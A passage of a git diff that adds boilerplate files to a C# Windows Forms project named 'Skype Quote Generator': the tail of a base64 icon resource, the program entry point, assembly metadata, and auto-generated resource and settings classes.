+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+OGia/TNYvnzwDn/67Mc/9uxPv/y2JH/+d6Y//ne
+        l//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//ne
+        l//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nf
+        mf/53pj/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//ne
+        l//53pf/+d6X//nel//53pf/+d6Z//ngnf/w1Y3/48Ns/9+3Sf/dqyL/6K8Y//G6JP/yvzP/88VG//TM
+        Xv/21n/m+N6Zgvvx0xwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAA+uq/OvXTdt70xkr/8bsq/9+rHf/gvWD/996c//nfmv/535r/+d+a//nfmv/535r/+d+a//nf
+        mv/535r/+d+a//nfmv/535r/+d+a//nfmv/535r/+d+a//nfmv/535r/+d+a//nfmv/535r/+d+a//nf
+        mv/535r/+d+a//nfmv/535r/+d+a//ngn//mx3X/37I6/+C4Tf/gv2P/5cd3/+3RiP/z2pj/+eKi//nh
+        oP/54Z//+eCe//nhnv/54J7/+eCf//nhoP/54aH/9t6d/+/Vjv/py33/4MBp/+K7Vf/fszz/3aog/+St
+        GP/wuCH/8rws//PAOf/zxkr/9Mxe//bTdfP44J+m+eOoS/zz2gQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+uq/DvjgoZj0zGH+88I//++4
+        Jv/drCb/4cBn//Xenv/54J7/+eCd//ngnf/54J3/+eCd//ngnf/54J3/+eCd//ngnf/54J3/+eCd//ng
+        nf/54J3/+eCd//ngnf/54J3/+eCd//ngnf/54J3/+eCd//ngnf/54J3/+eCd//jhov/myHr/3bE6/+y4
+        Kv/yvzb/8r80//K8LP/wuSX/5rEf/+OtGv/eqRr/26ki/9yrJv/fsC//368u/9+vL//erSn/3Kok/9yo
+        HP/iqxb/5a4b/+22IP/xuiX/8rws//K/Nf/zwj//9MZM//TKWv/1z2r/99iG3vjfnpj446dN/PLXCQAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPnnszr214TJ9Mtb//PCPv/vuij/36sh/9+5VP/q0If/+eOl//nh
+        oP/54Z//+eGf//nhn//54Z//+eGf//nhn//54Z//+eGf//nhn//54Z//+eGf//nhn//54Z//+eGf//nh
+        n//54aD/+eKk//HYlv/gv2X/3q8x/+26MP/zxUr/9c9q+ffai8z21Hry9tBr//XNYv/1ylj/9MlT//TG
+        S//0xEb/88RD//PDQf/zw0D/88NA//PDQf/zxEP/9MRG//TGS//0yVP/9cpY//XNYv/20Gv/9tR68ffZ
+        icb54qOU+eKjXPrpvCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP79
+        +AH66r9Q99mKy/TNYf/zxUf/8r4y/+mzIv/erSr/37pU/+TGd//x2Zj/+uSp//rjpv/64qT/+uKj//ri
+        o//64qP/+uKj//rio//64qT/+uKl//rkqf/03aD/58uB/+C+YP/fsjv/5LIo//LAOv/0yFL/9dBt+fjg
+        oJz77soiAAAAAAAAAAD76r8e+eOlQfngnWH32YZ6+eSqlPjel6T42oyw99eDvvfXgcD314HA99eDvvjb
+        jbD43pik+eSqlPfZh3r54J5h+eOlQfvrwB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+OOnP/jgnqb10nL29Mtc//PF
+        R//ywDj/8bss/+WwIf/dqyX/4bQ7/9+2S//hu1f/6MRk/+XCZP/nw2T/4r1a/964UP/gtkT/3a4u/+Ow
+        Jf/uuzH/88I+//THT//1zmP/9taA3fjgoHz7780XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPvtyQz435tX+N6ZovbXgOf10Gr/9ctd//TIUv/0xUj/88NC//PC
+        Pv/zwjz/88E8//PCPf/zwkD/88RF//THTf/0ylb/9c1j//bRcPz32o3M+N+bhPrnszf+/foBAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAPrpuCH54aFS+eKmfPngnpz32Ya2+NyRyPjcj9D43I/Q+NyQ0PfaicL43JCq+eSqkPjd
+        k2z546k+/fXiDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAA////////////////////////////////////////////////////////
+        /////////////////////////////////////////////////////////////////AD/////////////
+        /////4AAD/////////////////wAAAH/////////////4AfwAAAAP///////////8AAAAAAAAB//////
+        /////wAAAAAAAAAH//////////gAAAAAAAAAAf/////////AAAAAAAAAAAD/////////AAAAAAAAAAAA
+        f////////AAAAAAAAAAAAD////////AAAAAAAAAAAAAf///////AAAAAAAAAAAAAD///////gAAAAAAA
+        AAAAAAf//////gAAAAAAAAAAAAAD//////wAAAAAAAAAAAAAA//////wAAAAAAAAAAAAAAH/////4AAA
+        AAAAAAAAAAAA/////8AAAAAAAAAAAAAAAP////+AAAAAAAAAAAAAAAB/////AAAAAAAAAAAAAAAAf///
+        /gAAAAAAAAAAAAAAAD////wAAAAAAAAAAAAAAAA////4AAAAAAAAAAAAAAAAP///8AAAAAAAAAAAAAAA
+        AB///+AAAAAAAAAAAAAAAAAf///gAAAAAAAAAAAAAAAAH///wAAAAAAAAAAAAAAAAB///4AAAAAAAAAA
+        AAAAAAAP//8AAAAAAAAAAAAAAAAAD///AAAAAAAAAAAAAAAAAA///gAAAAAAAAAAAAAAAAAP//4AAAAA
+        AAAAAAAAAAAAD//8AAAAAAAAAAAAAAAAAA///AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAAAAAAAAD//4
+        AAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAP//AAAAAAAAAAAAAAAAAAD//gAAAAAAAAAAAAAAAA
+        AA//4AAAAAAAAAAAAAAAAAAP/8AAAAAAAAAAAAAAAAAAH//AAAAAAAAAAAAAAAAAAB//wAAAAAAAAAAA
+        AAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAD//gAAAAAAAAAAAAAAAAAA//4AAAAAA
+        AAAAAAAAAAAAP/8AAAAAAAAAAAAAAAAAAH//AAAAAAAAAAAAAAAAAAB//wAAAAAAAAAAAAAAAAAA//8A
+        AAAAAAAAAAAAAAAAAP//AAAAAAAAAAAAAAAAAAD//gAAAAAAAAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAA
+        AH/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAA
+        AAAAAAB//gAAAAAAAAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//gAAAAAA
+        AAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/4A
+        AAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAA
+        AP//AAAAAAAAAAAAAAAAAAD//wAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA
+        AAAAAAD//gAAAAAAAAAAAAAAAAAA//wAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAH/+AAAAAAA
+        AAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAA//4AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAAAAAAAAD//AA
+        AAAAAAAAAAAAAAAAB//wAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAH//AAAAAAAAAAAAAAAAAA
+        D//wAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAf//AAAAAAAAAAAAAAAAAAH//wAAAAAAAAAAAA
+        AAAAAD//8AAAAAAAAAAAAAAAAAA///AAAAAAAAAAAAAAAAAAf//wAAAAAAAAAAAAAAAAAP//8AAAAAAA
+        AAAAAAAAAAD///AAAAAAAAAAAAAAAAAB///4AAAAAAAAAAAAAAAAA///+AAAAAAAAAAAAAAAAAP///gA
+        AAAAAAAAAAAAAAAH///4AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAB////wAAAAAAAAAAAAAAAA/
+        ///8AAAAAAAAAAAAAAAAP////gAAAAAAAAAAAAAAAH////4AAAAAAAAAAAAAAAD/////AAAAAAAAAAAA
+        AAAB/////wAAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAA//////gAAAAAAAAAAAAAAf/////8AAAAAA
+        AAAAAAAAP//////gAAAAAAAAAAAAAP//////8AAAAAAAAAAAAAH///////AAAAAAAAAAAAAH///////4
+        AAAAAAAAAAAAH////////AAAAAAAAAAAAH////////8AAAAAAAAAAAH/////////gAAAAAAAAAAH////
+        /////8AAAAAAAAAAP//////////wAAAAAAAAA///////////+AAAAAYAAH////////////8AAAAf////
+        ////////////wAAAf/////////////////wAB///////////////////////////////////////////
+        //////////////////////////////////8=
+</value>
+  </data>
+</root>
+\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Program.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Program.cs
@@ -0,0 +1,19 @@
+using System;
+using System.Windows.Forms;
+
+namespace SkypeQuote
+{
+    static class Program
+    {
+        /// <summary>
+        /// The main entry point for the application.
+        /// </summary>
+        [STAThread]
+        static void Main()
+        {
+            Application.EnableVisualStyles();
+            Application.SetCompatibleTextRenderingDefault(false);
+            Application.Run(new Main());
+        }
+    }
+}
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/AssemblyInfo.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/AssemblyInfo.cs
@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following 
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("Skype Quote Generator")]
+[assembly: AssemblyDescription("A tool to generate Skype quotes.")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("SuperNets")]
+[assembly: AssemblyProduct("Skype Quote Generator")]
+[assembly: AssemblyCopyright("Copyright ©  2015 - SuperNets")]
+[assembly: AssemblyTrademark("SuperNets")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible 
+// to COM components.  If you need to access a type in this assembly from 
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("d1f9e552-3450-4593-a23f-ac68b5f0fef9")]
+
+// Version information for an assembly consists of the following four values:
+//
+//      Major Version
+//      Minor Version 
+//      Build Number
+//      Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers 
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("6.6.6.7")]
+[assembly: AssemblyFileVersion("6.6.6.7")]
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.Designer.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.Designer.cs
@@ -0,0 +1,63 @@
+//------------------------------------------------------------------------------
+// <auto-generated>
+//     This code was generated by a tool.
+//     Runtime Version:4.0.30319.42000
+//
+//     Changes to this file may cause incorrect behavior and will be lost if
+//     the code is regenerated.
+// </auto-generated>
+//------------------------------------------------------------------------------
+
+namespace SkypeQuote.Properties {
+    using System;
+    
+    
+    /// <summary>
+    ///   A strongly-typed resource class, for looking up localized strings, etc.
+    /// </summary>
+    // This class was auto-generated by the StronglyTypedResourceBuilder
+    // class via a tool like ResGen or Visual Studio.
+    // To add or remove a member, edit your .ResX file then rerun ResGen
+    // with the /str option, or rebuild your VS project.
+    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+    internal class Resources {
+        
+        private static global::System.Resources.ResourceManager resourceMan;
+        
+        private static global::System.Globalization.CultureInfo resourceCulture;
+        
+        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
+        internal Resources() {
+        }
+        
+        /// <summary>
+        ///   Returns the cached ResourceManager instance used by this class.
+        /// </summary>
+        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+        internal static global::System.Resources.ResourceManager ResourceManager {
+            get {
+                if (object.ReferenceEquals(resourceMan, null)) {
+                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SkypeQuote.Properties.Resources", typeof(Resources).Assembly);
+                    resourceMan = temp;
+                }
+                return resourceMan;
+            }
+        }
+        
+        /// <summary>
+        ///   Overrides the current thread's CurrentUICulture property for all
+        ///   resource lookups using this strongly typed resource class.
+        /// </summary>
+        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+        internal static global::System.Globalization.CultureInfo Culture {
+            get {
+                return resourceCulture;
+            }
+            set {
+                resourceCulture = value;
+            }
+        }
+    }
+}
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.resx b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.resx
@@ -0,0 +1,117 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>
+\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.Designer.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.Designer.cs
@@ -0,0 +1,26 @@
+//------------------------------------------------------------------------------
+// <auto-generated>
+//     This code was generated by a tool.
+//     Runtime Version:4.0.30319.42000
+//
+//     Changes to this file may cause incorrect behavior and will be lost if
+//     the code is regenerated.
+// </auto-generated>
+//------------------------------------------------------------------------------
+
+namespace SkypeQuote.Properties {
+    
+    
+    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
+    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
+        
+        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
+        
+        public static Settings Default {
+            get {
+                return defaultInstance;
+            }
+        }
+    }
+}
